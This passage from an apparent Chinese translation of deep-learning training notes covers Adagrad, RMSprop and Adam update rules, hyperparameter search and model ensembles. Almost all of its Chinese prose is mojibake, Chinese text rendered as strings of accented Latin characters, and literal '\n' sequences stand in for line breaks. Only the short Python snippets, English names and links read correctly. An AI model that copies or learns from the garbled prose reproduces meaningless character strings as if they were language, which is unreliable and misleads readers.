็Ž‡ๆ–นๆณ•ๆœ‰ๆ›ด่‰ฏๅฅฝ็š„่กจ็Žฐใ€‚ๅœจๆœฌๅฐ่Š‚ๆˆ‘ไปฌไผšไป‹็ปไธ€ไบ›ๅœจๅฎž่ทตไธญๅฏ่ƒฝไผš้‡ๅˆฐ็š„ๅธธ็”จ้€‚ๅบ”็ฎ—ๆณ•๏ผš\n\n\n\n**Adagrad**ๆ˜ฏไธ€ไธช็”ฑ[Duchi็ญ‰](http://link.zhihu.com/?target=http%3A//jmlr.org/papers/v12/duchi11a.html)ๆๅ‡บ็š„้€‚ๅบ”ๆ€งๅญฆไน ็Ž‡็ฎ—ๆณ•\n\n```python\n# ๅ‡่ฎพๆœ‰ๆขฏๅบฆๅ’Œๅ‚ๆ•ฐๅ‘้‡x\ncache += dx**2\nx += - learning_rate * dx / (np.sqrt(cache) + eps)\n```\n\nๆณจๆ„๏ผŒๅ˜้‡**cache**็š„ๅฐบๅฏธๅ’Œๆขฏๅบฆ็Ÿฉ้˜ต็š„ๅฐบๅฏธๆ˜ฏไธ€ๆ ท็š„๏ผŒ่ฟ˜่ทŸ่ธชไบ†ๆฏไธชๅ‚ๆ•ฐ็š„ๆขฏๅบฆ็š„ๅนณๆ–นๅ’Œใ€‚่ฟ™ไธชไธ€ไผšๅ„ฟๅฐ†็”จๆฅๅฝ’ไธ€ๅŒ–ๅ‚ๆ•ฐๆ›ดๆ–ฐๆญฅ้•ฟ๏ผŒๅฝ’ไธ€ๅŒ–ๆ˜ฏ้€ๅ…ƒ็ด ่ฟ›่กŒ็š„ใ€‚ๆณจๆ„๏ผŒๆŽฅๆ”ถๅˆฐ้ซ˜ๆขฏๅบฆๅ€ผ็š„ๆƒ้‡ๆ›ดๆ–ฐ็š„ๆ•ˆๆžœ่ขซๅ‡ๅผฑ๏ผŒ่€ŒๆŽฅๆ”ถๅˆฐไฝŽๆขฏๅบฆๅ€ผ็š„ๆƒ้‡็š„ๆ›ดๆ–ฐๆ•ˆๆžœๅฐ†ไผšๅขžๅผบใ€‚ๆœ‰่ถฃ็š„ๆ˜ฏๅนณๆ–นๆ น็š„ๆ“ไฝœ้žๅธธ้‡่ฆ๏ผŒๅฆ‚ๆžœๅŽปๆŽ‰๏ผŒ็ฎ—ๆณ•็š„่กจ็Žฐๅฐ†ไผš็ณŸ็ณ•ๅพˆๅคšใ€‚็”จไบŽๅนณๆป‘็š„ๅผๅญ**eps**๏ผˆไธ€่ˆฌ่ฎพไธบ1e-4ๅˆฐ1e-8ไน‹้—ด๏ผ‰ๆ˜ฏ้˜ฒๆญขๅ‡บ็Žฐ้™คไปฅ0็š„ๆƒ…ๅ†ตใ€‚Adagrad็š„ไธ€ไธช็ผบ็‚นๆ˜ฏ๏ผŒๅœจๆทฑๅบฆๅญฆไน ไธญๅ•่ฐƒ็š„ๅญฆไน ็Ž‡่ขซ่ฏๆ˜Ž้€šๅธธ่ฟ‡ไบŽๆฟ€่ฟ›ไธ”่ฟ‡ๆ—ฉๅœๆญขๅญฆไน ใ€‚\n\n\n\n**RMSprop**ใ€‚ๆ˜ฏไธ€ไธช้žๅธธ้ซ˜ๆ•ˆ๏ผŒไฝ†ๆฒกๆœ‰ๅ…ฌๅผ€ๅ‘่กจ็š„้€‚ๅบ”ๆ€งๅญฆไน ็Ž‡ๆ–นๆณ•ใ€‚ๆœ‰่ถฃ็š„ๆ˜ฏ๏ผŒๆฏไธชไฝฟ็”จ่ฟ™ไธชๆ–นๆณ•็š„ไบบๅœจไป–ไปฌ็š„่ฎบๆ–‡ไธญ้ƒฝๅผ•็”จ่‡ชGeoff Hinton็š„Coursera่ฏพ็จ‹็š„[็ฌฌๅ…ญ่ฏพ็š„็ฌฌ29้กตPPT](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%257Etijmen/csc321/slides/lecture_slides_lec6.pdf)ใ€‚่ฟ™ไธชๆ–นๆณ•็”จไธ€็งๅพˆ็ฎ€ๅ•็š„ๆ–นๅผไฟฎๆ”นไบ†Adagradๆ–นๆณ•๏ผŒ่ฎฉๅฎƒไธ้‚ฃไนˆๆฟ€่ฟ›๏ผŒๅ•่ฐƒๅœฐ้™ไฝŽไบ†ๅญฆไน ็Ž‡ใ€‚ๅ…ทไฝ“่ฏดๆฅ๏ผŒๅฐฑๆ˜ฏๅฎƒไฝฟ็”จไบ†ไธ€ไธชๆขฏๅบฆๅนณๆ–น็š„ๆป‘ๅŠจๅนณๅ‡๏ผš\n\n```python\ncache = decay_rate * cache + (1 - decay_rate) * dx**2\nx += - learning_rate * dx / (np.sqrt(cache) + eps)\n```\n\nๅœจไธŠ้ข็š„ไปฃ็ ไธญ๏ผŒdecay_rateๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผŒๅธธ็”จ็š„ๅ€ผๆ˜ฏ[0.9,0.99,0.999]ใ€‚ๅ…ถไธญ**x+=**ๅ’ŒAdagradไธญๆ˜ฏไธ€ๆ ท็š„๏ผŒไฝ†ๆ˜ฏ**cache**ๅ˜้‡ๆ˜ฏไธๅŒ็š„ใ€‚ๅ› ๆญค๏ผŒRMSPropไป็„ถๆ˜ฏๅŸบไบŽๆขฏๅบฆ็š„ๅคงๅฐๆฅๅฏนๆฏไธชๆƒ้‡็š„ๅญฆไน ็Ž‡่ฟ›่กŒไฟฎๆ”น๏ผŒ่ฟ™ๅŒๆ ทๆ•ˆๆžœไธ้”™ใ€‚ไฝ†ๆ˜ฏๅ’ŒAdagradไธๅŒ๏ผŒๅ…ถๆ›ดๆ–ฐไธไผš่ฎฉๅญฆไน ็Ž‡ๅ•่ฐƒๅ˜ๅฐใ€‚\n\n\n\n**Adam**ใ€‚[Adam](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1412.6980)ๆ˜ฏๆœ€่ฟ‘ๆ‰ๆๅ‡บ็š„ไธ€็งๆ›ดๆ–ฐๆ–นๆณ•๏ผŒๅฎƒ็œ‹่ตทๆฅๅƒๆ˜ฏRMSProp็š„ๅŠจ้‡็‰ˆใ€‚็ฎ€ๅŒ–็š„ไปฃ็ ๆ˜ฏไธ‹้ข่ฟ™ๆ ท๏ผš\n\n```python\nm = beta1*m + (1-beta1)*dx\nv = beta2*v + (1-beta2)*(dx**2)\nx += - learning_rate * m / (np.sqrt(v) + eps)\n```\n\nๆณจๆ„่ฟ™ไธชๆ›ดๆ–ฐๆ–นๆณ•็œ‹่ตทๆฅ็œŸ็š„ๅ’ŒRMSPropๅพˆๅƒ๏ผŒ้™คไบ†ไฝฟ็”จ็š„ๆ˜ฏๅนณๆป‘็‰ˆ็š„ๆขฏๅบฆ**m**๏ผŒ่€Œไธๆ˜ฏ็”จ็š„ๅŽŸๅง‹ๆขฏๅบฆๅ‘้‡**dx**ใ€‚่ฎบๆ–‡ไธญๆŽจ่็š„ๅ‚ๆ•ฐๅ€ผ**eps=1e-8, beta1=0.9, beta2=0.999**ใ€‚ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒๆˆ‘ไปฌๆŽจ่Adamไฝœไธบ้ป˜่ฎค็š„็ฎ—ๆณ•๏ผŒไธ€่ˆฌ่€Œ่จ€่ท‘่ตทๆฅๆฏ”RMSProp่ฆๅฅฝไธ€็‚นใ€‚ไฝ†ๆ˜ฏไนŸๅฏไปฅ่ฏ•่ฏ•SGD+NesterovๅŠจ้‡ใ€‚ๅฎŒๆ•ด็š„Adamๆ›ดๆ–ฐ็ฎ—ๆณ•ไนŸๅŒ…ๅซไบ†ไธ€ไธชๅ็ฝฎ*๏ผˆbias๏ผ‰็Ÿซๆญฃ*ๆœบๅˆถ๏ผŒๅ› ไธบ**m,v**ไธคไธช็Ÿฉ้˜ตๅˆๅง‹ไธบ0๏ผŒๅœจๆฒกๆœ‰ๅฎŒๅ…จ็ƒญ่บซไน‹ๅ‰ๅญ˜ๅœจๅๅทฎ๏ผŒ้œ€่ฆ้‡‡ๅ–ไธ€ไบ›่กฅๅฟๆŽชๆ–ฝใ€‚ๅปบ่ฎฎ่ฏป่€…ๅฏไปฅ้˜…่ฏป่ฎบๆ–‡ๆŸฅ็œ‹็ป†่Š‚๏ผŒๆˆ–่€…่ฏพ็จ‹็š„PPTใ€‚\n\n\n\nๆ‹“ๅฑ•้˜…่ฏป๏ผš\n\n- [Unit Tests for Stochastic Optimization](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1312.6055)ไธ€ๆ–‡ๅฑ•็คบไบ†ๅฏนไบŽ้šๆœบๆœ€ไผ˜ๅŒ–็š„ๆต‹่ฏ•ใ€‚\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82cc64e2653.png)\n\n*่ฏ‘่€…ๆณจ๏ผšไธŠๅ›พๅŽŸๆ–‡ไธญไธบๅŠจๅ›พ๏ผŒ็ŸฅไนŽไธ“ๆ ไธๆ”ฏๆŒๅŠจๅ›พ๏ผŒ็Ÿฅๅ‹ๅฏ็‚นๅ‡ปๅŽŸๆ–‡้“พๆŽฅๆŸฅ็œ‹ใ€‚*\n\n\n\nไธŠ้ข็š„ๅŠจ็”ปๅฏไปฅๅธฎๅŠฉไฝ ็†่งฃๅญฆไน ็š„ๅŠจๆ€่ฟ‡็จ‹ใ€‚**ๅทฆ่พน**ๆ˜ฏไธ€ไธชๆŸๅคฑๅ‡ฝๆ•ฐ็š„็ญ‰้ซ˜็บฟๅ›พ๏ผŒไธŠ้ข่ท‘็š„ๆ˜ฏไธๅŒ็š„ๆœ€ไผ˜ๅŒ–็ฎ—ๆณ•ใ€‚ๆณจๆ„ๅŸบไบŽๅŠจ้‡็š„ๆ–นๆณ•ๅ‡บ็Žฐไบ†ๅฐ„ๅไบ†็š„ๆƒ…ๅ†ต๏ผŒไฝฟๅพ—ๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹็œ‹่ตทๆฅๅƒๆ˜ฏไธ€ไธช็ƒๆปšไธ‹ๅฑฑ็š„ๆ ทๅญใ€‚**ๅณ่พน**ๅฑ•็คบไบ†ไธ€ไธช้ฉฌ้ž็Šถ็š„ๆœ€ไผ˜ๅŒ–ๅœฐๅฝข๏ผŒๅ…ถไธญๅฏนไบŽไธๅŒ็ปดๅบฆๅฎƒ็š„ๆ›ฒ็Ž‡ไธๅŒ๏ผˆไธ€ไธช็ปดๅบฆไธ‹้™ๅฆไธ€ไธช็ปดๅบฆไธŠๅ‡๏ผ‰ใ€‚ๆณจๆ„SGDๅพˆ้šพ็ช็ ดๅฏน็งฐๆ€ง๏ผŒไธ€็›ดๅกๅœจ้กถ้ƒจใ€‚่€ŒRMSPropไน‹็ฑป็š„ๆ–นๆณ•่ƒฝๅคŸ็œ‹ๅˆฐ้ฉฌ้žๆ–นๅ‘ๆœ‰ๅพˆไฝŽ็š„ๆขฏๅบฆใ€‚ๅ› ไธบๅœจRMSPropๆ›ดๆ–ฐๆ–นๆณ•ไธญ็š„ๅˆ†ๆฏ้กน๏ผŒ็ฎ—ๆณ•ๆ้ซ˜ไบ†ๅœจ่ฏฅๆ–นๅ‘็š„ๆœ‰ๆ•ˆๅญฆไน ็Ž‡๏ผŒไฝฟๅพ—RMSProp่ƒฝๅคŸ็ปง็ปญๅ‰่ฟ›ใ€‚ๅ›พ็‰‡็‰ˆๆƒ๏ผš[Alec Radford](http://link.zhihu.com/?target=https%3A//twitter.com/alecrad)ใ€‚\n\n---\n\n\n\n## ่ถ…ๅ‚ๆ•ฐ่ฐƒไผ˜\n\nๆˆ‘ไปฌๅทฒ็ป็œ‹ๅˆฐ๏ผŒ่ฎญ็ปƒไธ€ไธช็ฅž็ป็ฝ‘็ปœไผš้‡ๅˆฐๅพˆๅคš่ถ…ๅ‚ๆ•ฐ่ฎพ็ฝฎใ€‚็ฅž็ป็ฝ‘็ปœๆœ€ๅธธ็”จ็š„่ฎพ็ฝฎๆœ‰๏ผš\n\n- ๅˆๅง‹ๅญฆไน ็Ž‡ใ€‚\n- ๅญฆไน ็Ž‡่กฐๅ‡ๆ–นๅผ๏ผˆไพ‹ๅฆ‚ไธ€ไธช่กฐๅ‡ๅธธ้‡๏ผ‰ใ€‚\n- ๆญฃๅˆ™ๅŒ–ๅผบๅบฆ๏ผˆL2ๆƒฉ็ฝš๏ผŒ้šๆœบๅคฑๆดปๅผบๅบฆ๏ผ‰ใ€‚\n\nไฝ†ๆ˜ฏไนŸๅฏไปฅ็œ‹ๅˆฐ๏ผŒ่ฟ˜ๆœ‰ๅพˆๅคš็›ธๅฏนไธ้‚ฃไนˆๆ•ๆ„Ÿ็š„่ถ…ๅ‚ๆ•ฐใ€‚ๆฏ”ๅฆ‚ๅœจ้€ๅ‚ๆ•ฐ้€‚ๅบ”ๅญฆไน ๆ–นๆณ•ไธญ๏ผŒๅฏนไบŽๅŠจ้‡ๅŠๅ…ถๆ—ถ้—ด่กจ็š„่ฎพ็ฝฎ็ญ‰ใ€‚ๅœจๆœฌ่Š‚ไธญๅฐ†ไป‹็ปไธ€ไบ›้ขๅค–็š„่ฐƒๅ‚่ฆ็‚นๅ’ŒๆŠ€ๅทง๏ผš\n\n\n\n**ๅฎž็Žฐ**ใ€‚ๆ›ดๅคง็š„็ฅž็ป็ฝ‘็ปœ้œ€่ฆๆ›ด้•ฟ็š„ๆ—ถ้—ดๅŽป่ฎญ็ปƒ๏ผŒๆ‰€ไปฅ่ฐƒๅ‚ๅฏ่ƒฝ้œ€่ฆๅ‡ ๅคฉ็”š่‡ณๅ‡ ๅ‘จใ€‚่ฎฐไฝ่ฟ™ไธ€็‚นๅพˆ้‡่ฆ๏ผŒๅ› ไธบ่ฟ™ไผšๅฝฑๅ“ไฝ ่ฎพ่ฎกไปฃ็ ็š„ๆ€่ทฏใ€‚ไธ€ไธชๅ…ทไฝ“็š„่ฎพ่ฎกๆ˜ฏ็”จ**ไป†็จ‹ๅบ**ๆŒ็ปญๅœฐ้šๆœบ่ฎพ็ฝฎๅ‚ๆ•ฐ็„ถๅŽ่ฟ›่กŒๆœ€ไผ˜ๅŒ–ใ€‚ๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญ๏ผŒ**ไป†็จ‹ๅบ**ไผšๅฏนๆฏไธชๅ‘จๆœŸๅŽ้ชŒ่ฏ้›†็š„ๅ‡†็กฎ็Ž‡่ฟ›่กŒ็›‘ๆŽง๏ผŒ็„ถๅŽๅ‘ๆ–‡ไปถ็ณป็ปŸๅ†™ไธ‹ไธ€ไธชๆจกๅž‹็š„่ฎฐๅฝ•็‚น๏ผˆ่ฎฐๅฝ•็‚นไธญๆœ‰ๅ„็งๅ„ๆ ท็š„่ฎญ็ปƒ็ปŸ่ฎกๆ•ฐๆฎ๏ผŒๆฏ”ๅฆ‚้š็€ๆ—ถ้—ด็š„ๆŸๅคฑๅ€ผๅ˜ๅŒ–็ญ‰๏ผ‰๏ผŒ่ฟ™ไธชๆ–‡ไปถ็ณป็ปŸๆœ€ๅฅฝๆ˜ฏๅฏๅ…ฑไบซ็š„ใ€‚ๅœจๆ–‡ไปถๅไธญๆœ€ๅฅฝๅŒ…ๅซ้ชŒ่ฏ้›†็š„็ฎ—ๆณ•่กจ็Žฐ๏ผŒ่ฟ™ๆ ทๅฐฑ่ƒฝๆ–นไพฟๅœฐๆŸฅๆ‰พๅ’ŒๆŽ’ๅบไบ†ใ€‚็„ถๅŽ่ฟ˜ๆœ‰ไธ€ไธช**ไธป็จ‹ๅบ**๏ผŒๅฎƒๅฏไปฅๅฏๅŠจๆˆ–่€…็ป“ๆŸ่ฎก็ฎ—้›†็พคไธญ็š„**ไป†็จ‹ๅบ**๏ผŒๆœ‰ๆ—ถๅ€™ไนŸๅฏ่ƒฝๆ นๆฎๆกไปถๆŸฅ็œ‹**ไป†็จ‹ๅบ**ๅ†™ไธ‹็š„่ฎฐๅฝ•็‚น๏ผŒ่พ“ๅ‡บๅฎƒไปฌ็š„่ฎญ็ปƒ็ปŸ่ฎกๆ•ฐๆฎ็ญ‰ใ€‚\n\n\n\n**ๆฏ”่ตทไบคๅ‰้ชŒ่ฏๆœ€ๅฅฝไฝฟ็”จไธ€ไธช้ชŒ่ฏ้›†**ใ€‚ๅœจๅคงๅคšๆ•ฐๆƒ…ๅ†ตไธ‹๏ผŒไธ€ไธชๅฐบๅฏธๅˆ็†็š„้ชŒ่ฏ้›†ๅฏไปฅ่ฎฉไปฃ็ ๆ›ด็ฎ€ๅ•๏ผŒไธ้œ€่ฆ็”จๅ‡ ไธชๆ•ฐๆฎ้›†ๆฅไบคๅ‰้ชŒ่ฏใ€‚ไฝ ๅฏ่ƒฝไผšๅฌๅˆฐไบบไปฌ่ฏดไป–ไปฌโ€œไบคๅ‰้ชŒ่ฏโ€ไธ€ไธชๅ‚ๆ•ฐ๏ผŒไฝ†ๆ˜ฏๅคงๅคšๆ•ฐๆƒ…ๅ†ตไธ‹๏ผŒไป–ไปฌๅฎž้™…ๆ˜ฏไฝฟ็”จ็š„ไธ€ไธช้ชŒ่ฏ้›†ใ€‚\n\n\n\n**่ถ…ๅ‚ๆ•ฐ่Œƒๅ›ด**ใ€‚ๅœจๅฏนๆ•ฐๅฐบๅบฆไธŠ่ฟ›่กŒ่ถ…ๅ‚ๆ•ฐๆœ็ดขใ€‚ไพ‹ๅฆ‚๏ผŒไธ€ไธชๅ…ธๅž‹็š„ๅญฆไน ็Ž‡ๅบ”่ฏฅ็œ‹่ตทๆฅๆ˜ฏ่ฟ™ๆ ท๏ผš**learning_rate = 10 \\** uniform(-6, 1)**ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆˆ‘ไปฌไปŽๆ ‡ๅ‡†ๅˆ†ๅธƒไธญ้šๆœบ็”Ÿๆˆไบ†ไธ€ไธชๆ•ฐๅญ—๏ผŒ็„ถๅŽ่ฎฉๅฎƒๆˆไธบ10็š„้˜ถๆ•ฐใ€‚ๅฏนไบŽๆญฃๅˆ™ๅŒ–ๅผบๅบฆ๏ผŒๅฏไปฅ้‡‡็”จๅŒๆ ท็š„็ญ–็•ฅใ€‚็›ด่ง‚ๅœฐ่ฏด๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅญฆไน ็Ž‡ๅ’Œๆญฃๅˆ™ๅŒ–ๅผบๅบฆ้ƒฝๅฏนไบŽ่ฎญ็ปƒ็š„ๅŠจๆ€่ฟ›็จ‹ๆœ‰ไน˜็š„ๆ•ˆๆžœใ€‚ไพ‹ๅฆ‚๏ผšๅฝ“ๅญฆไน ็Ž‡ๆ˜ฏ0.001็š„ๆ—ถๅ€™๏ผŒๅฆ‚ๆžœๅฏนๅ…ถๅ›บๅฎšๅœฐๅขžๅŠ 0.01๏ผŒ้‚ฃไนˆๅฏนไบŽๅญฆไน ่ฟ›็จ‹ไผšๆœ‰ๅพˆๅคงๅฝฑๅ“ใ€‚็„ถ่€Œๅฝ“ๅญฆไน ็Ž‡ๆ˜ฏ10็š„ๆ—ถๅ€™๏ผŒๅฝฑๅ“ๅฐฑๅพฎไนŽๅ…ถๅพฎไบ†ใ€‚่ฟ™ๅฐฑๆ˜ฏๅ› ไธบๅญฆไน ็Ž‡ไน˜ไปฅไบ†่ฎก็ฎ—ๅ‡บ็š„ๆขฏๅบฆใ€‚ๅ› ๆญค๏ผŒๆฏ”่ตทๅŠ ไธŠๆˆ–่€…ๅ‡ๅฐ‘ๆŸไบ›ๅ€ผ๏ผŒๆ€่€ƒๅญฆไน ็Ž‡็š„่Œƒๅ›ดๆ˜ฏไน˜ไปฅๆˆ–่€…้™คไปฅๆŸไบ›ๅ€ผๆ›ดๅŠ ่‡ช็„ถใ€‚ไฝ†ๆ˜ฏๆœ‰ไธ€ไบ›ๅ‚ๆ•ฐ๏ผˆๆฏ”ๅฆ‚้šๆœบๅคฑๆดป๏ผ‰่ฟ˜ๆ˜ฏๅœจๅŽŸๅง‹ๅฐบๅบฆไธŠ่ฟ›่กŒๆœ็ดข๏ผˆไพ‹ๅฆ‚๏ผš**dropout=uniform(0,1)**๏ผ‰ใ€‚\n\n\n\n**้šๆœบๆœ็ดขไผ˜ไบŽ็ฝ‘ๆ ผๆœ็ดข**ใ€‚Bergstraๅ’ŒBengioๅœจๆ–‡็ซ [Random Search for Hyper-Parameter Optimization](http://link.zhihu.com/?target=http%3A//www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf)ไธญ่ฏดโ€œ้šๆœบ้€‰ๆ‹ฉๆฏ”็ฝ‘ๆ ผๅŒ–็š„้€‰ๆ‹ฉๆ›ดๅŠ ๆœ‰ๆ•ˆโ€๏ผŒ่€Œไธ”ๅœจๅฎž่ทตไธญไนŸๆ›ดๅฎนๆ˜“ๅฎž็Žฐใ€‚\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82cc906d7fd.png)\n\nๅœจ [Random Search for Hyper-Parameter Optimization](http://link.zhihu.com/?target=http%3A//www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf) ไธญ็š„ๆ ธๅฟƒ่ฏดๆ˜Žๅ›พใ€‚้€šๅธธ๏ผŒๆœ‰ไบ›่ถ…ๅ‚ๆ•ฐๆฏ”ๅ…ถไฝ™็š„ๆ›ด้‡่ฆ๏ผŒ้€š่ฟ‡้šๆœบๆœ็ดข๏ผŒ่€Œไธๆ˜ฏ็ฝ‘ๆ ผๅŒ–็š„ๆœ็ดข๏ผŒๅฏไปฅ่ฎฉไฝ ๆ›ด็ฒพ็กฎๅœฐๅ‘็Žฐ้‚ฃไบ›ๆฏ”่พƒ้‡่ฆ็š„่ถ…ๅ‚ๆ•ฐ็š„ๅฅฝๆ•ฐๅ€ผใ€‚\n\n---\n\n**ๅฏนไบŽ่พน็•ŒไธŠ็š„ๆœ€ไผ˜ๅ€ผ่ฆๅฐๅฟƒ**ใ€‚่ฟ™็งๆƒ…ๅ†ตไธ€่ˆฌๅ‘็”Ÿๅœจไฝ ๅœจไธ€ไธชไธๅฅฝ็š„่Œƒๅ›ดๅ†…ๆœ็ดข่ถ…ๅ‚ๆ•ฐ๏ผˆๆฏ”ๅฆ‚ๅญฆไน ็Ž‡๏ผ‰็š„ๆ—ถๅ€™ใ€‚ๆฏ”ๅฆ‚๏ผŒๅ‡่ฎพๆˆ‘ไปฌไฝฟ็”จ**learning_rate = 10 \\** uniform(-6,1)**ๆฅ่ฟ›่กŒๆœ็ดขใ€‚ไธ€ๆ—ฆๆˆ‘ไปฌๅพ—ๅˆฐไธ€ไธชๆฏ”่พƒๅฅฝ็š„ๅ€ผ๏ผŒไธ€ๅฎš่ฆ็กฎ่ฎคไฝ ็š„ๅ€ผไธๆ˜ฏๅ‡บไบŽ่ฟ™ไธช่Œƒๅ›ด็š„่พน็•ŒไธŠ๏ผŒไธ็„ถไฝ ๅฏ่ƒฝ้”™่ฟ‡ๆ›ดๅฅฝ็š„ๅ…ถไป–ๆœ็ดข่Œƒๅ›ดใ€‚\n\n\n\n**ไปŽ็ฒ—ๅˆฐ็ป†ๅœฐๅˆ†้˜ถๆฎตๆœ็ดข**ใ€‚ๅœจๅฎž่ทตไธญ๏ผŒๅ…ˆ่ฟ›่กŒๅˆ็•ฅ่Œƒๅ›ด๏ผˆๆฏ”ๅฆ‚10 ** [-6, 1]๏ผ‰ๆœ็ดข๏ผŒ็„ถๅŽๆ นๆฎๅฅฝ็š„็ป“ๆžœๅ‡บ็Žฐ็š„ๅœฐๆ–น๏ผŒ็ผฉๅฐ่Œƒๅ›ด่ฟ›่กŒๆœ็ดขใ€‚่ฟ›่กŒ็ฒ—ๆœ็ดข็š„ๆ—ถๅ€™๏ผŒ่ฎฉๆจกๅž‹่ฎญ็ปƒไธ€ไธชๅ‘จๆœŸๅฐฑๅฏไปฅไบ†๏ผŒๅ› ไธบๅพˆๅคš่ถ…ๅ‚ๆ•ฐ็š„่ฎพๅฎšไผš่ฎฉๆจกๅž‹ๆฒกๆณ•ๅญฆไน ๏ผŒๆˆ–่€…็ช็„ถๅฐฑ็ˆ†ๅ‡บๅพˆๅคง็š„ๆŸๅคฑๅ€ผใ€‚็ฌฌไบŒไธช้˜ถๆฎตๅฐฑๆ˜ฏๅฏนไธ€ไธชๆ›ดๅฐ็š„่Œƒๅ›ด่ฟ›่กŒๆœ็ดข๏ผŒ่ฟ™ๆ—ถๅฏไปฅ่ฎฉๆจกๅž‹่ฟ่กŒ5ไธชๅ‘จๆœŸ๏ผŒ่€Œๆœ€ๅŽไธ€ไธช้˜ถๆฎตๅฐฑๅœจๆœ€็ปˆ็š„่Œƒๅ›ดๅ†…่ฟ›่กŒไป”็ป†ๆœ็ดข๏ผŒ่ฟ่กŒๅพˆๅคšๆฌกๅ‘จๆœŸใ€‚\n\n\n\n**่ดๅถๆ–ฏ่ถ…ๅ‚ๆ•ฐๆœ€ไผ˜ๅŒ–**ๆ˜ฏไธ€ๆ•ดไธช็ ”็ฉถ้ข†ๅŸŸ๏ผŒไธป่ฆๆ˜ฏ็ ”็ฉถๅœจ่ถ…ๅ‚ๆ•ฐ็ฉบ้—ดไธญๆ›ด้ซ˜ๆ•ˆ็š„ๅฏผ่ˆช็ฎ—ๆณ•ใ€‚ๅ…ถๆ ธๅฟƒ็š„ๆ€่ทฏๆ˜ฏๅœจไธๅŒ่ถ…ๅ‚ๆ•ฐ่ฎพ็ฝฎไธ‹ๆŸฅ็œ‹็ฎ—ๆณ•ๆ€ง่ƒฝๆ—ถ๏ผŒ่ฆๅœจๆŽข็ดขๅ’Œไฝฟ็”จไธญ่ฟ›่กŒๅˆ็†็š„ๆƒ่กกใ€‚ๅŸบไบŽ่ฟ™ไบ›ๆจกๅž‹๏ผŒๅ‘ๅฑ•ๅ‡บๅพˆๅคš็š„ๅบ“๏ผŒๆฏ”่พƒๆœ‰ๅ็š„ๆœ‰๏ผš [Spearmint](http://link.zhihu.com/?target=https%3A//github.com/JasperSnoek/spearmint), [SMAC](http://link.zhihu.com/?target=http%3A//www.cs.ubc.ca/labs/beta/Projects/SMAC/), ๅ’Œ[Hyperopt](http://link.zhihu.com/?target=http%3A//jaberg.github.io/hyperopt/)ใ€‚็„ถ่€Œ๏ผŒๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๅฎž้™…ไฝฟ็”จไธญ๏ผŒๆฏ”่ตทไธŠ้ขไป‹็ป็š„ๅ…ˆ่ฎค็œŸๆŒ‘้€‰็š„ไธ€ไธช่Œƒๅ›ด๏ผŒ็„ถๅŽๅœจ่ฏฅ่Œƒๅ›ดๅ†…้šๆœบๆœ็ดข็š„ๆ–นๆณ•๏ผŒ่ฟ™ไธชๆ–นๆณ•่ฟ˜ๆ˜ฏๅทฎไธ€ไบ›ใ€‚[่ฟ™้‡Œ](http://link.zhihu.com/?target=http%3A//nlpers.blogspot.com/2014/10/hyperparameter-search-bayesian.html)ๆœ‰ๆ›ด่ฏฆ็ป†็š„่ฎจ่ฎบใ€‚\n\n\n\n## ่ฏ„ไปท\n\n### ๆจกๅž‹้›†ๆˆ\n\nๅœจๅฎž่ทต็š„ๆ—ถๅ€™๏ผŒๆœ‰ไธ€ไธชๆ€ปๆ˜ฏ่ƒฝๆๅ‡็ฅž็ป็ฝ‘็ปœๅ‡ ไธช็™พๅˆ†็‚นๅ‡†็กฎ็Ž‡็š„ๅŠžๆณ•๏ผŒๅฐฑๆ˜ฏๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™่ฎญ็ปƒๅ‡ ไธช็‹ฌ็ซ‹็š„ๆจกๅž‹๏ผŒ็„ถๅŽๅœจๆต‹่ฏ•็š„ๆ—ถๅ€™ๅนณๅ‡ๅฎƒไปฌ้ข„ๆต‹็ป“ๆžœใ€‚้›†ๆˆ็š„ๆจกๅž‹ๆ•ฐ้‡ๅขžๅŠ ๏ผŒ็ฎ—ๆณ•็š„็ป“ๆžœไนŸๅ•่ฐƒๆๅ‡๏ผˆไฝ†ๆๅ‡ๆ•ˆๆžœ่ถŠๆฅ่ถŠๅฐ‘๏ผ‰ใ€‚่ฟ˜ๆœ‰ๆจกๅž‹ไน‹้—ด็š„ๅทฎๅผ‚ๅบฆ่ถŠๅคง๏ผŒๆๅ‡ๆ•ˆๆžœๅฏ่ƒฝ่ถŠๅฅฝใ€‚่ฟ›่กŒ้›†ๆˆๆœ‰ไปฅไธ‹ๅ‡ ็งๆ–นๆณ•๏ผš\n\n- **ๅŒไธ€ไธชๆจกๅž‹๏ผŒไธๅŒ็š„ๅˆๅง‹ๅŒ–**ใ€‚ไฝฟ็”จไบคๅ‰้ชŒ่ฏๆฅๅพ—ๅˆฐๆœ€ๅฅฝ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒ็„ถๅŽ็”จๆœ€ๅฅฝ็š„ๅ‚ๆ•ฐๆฅ่ฎญ็ปƒไธๅŒๅˆๅง‹ๅŒ–ๆกไปถ็š„ๆจกๅž‹ใ€‚่ฟ™็งๆ–นๆณ•็š„้ฃŽ้™ฉๅœจไบŽๅคšๆ ทๆ€งๅชๆฅ่‡ชไบŽไธๅŒ็š„ๅˆๅง‹ๅŒ–ๆกไปถใ€‚\n- **ๅœจไบคๅ‰้ชŒ่ฏไธญๅ‘็Žฐๆœ€ๅฅฝ็š„ๆจกๅž‹**ใ€‚ไฝฟ็”จไบคๅ‰้ชŒ่ฏๆฅๅพ—ๅˆฐๆœ€ๅฅฝ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒ็„ถๅŽๅ–ๅ…ถไธญๆœ€ๅฅฝ็š„ๅ‡ ไธช๏ผˆๆฏ”ๅฆ‚10ไธช๏ผ‰ๆจกๅž‹ๆฅ่ฟ›่กŒ้›†ๆˆใ€‚่ฟ™ๆ ทๅฐฑๆ้ซ˜ไบ†้›†ๆˆ็š„ๅคšๆ 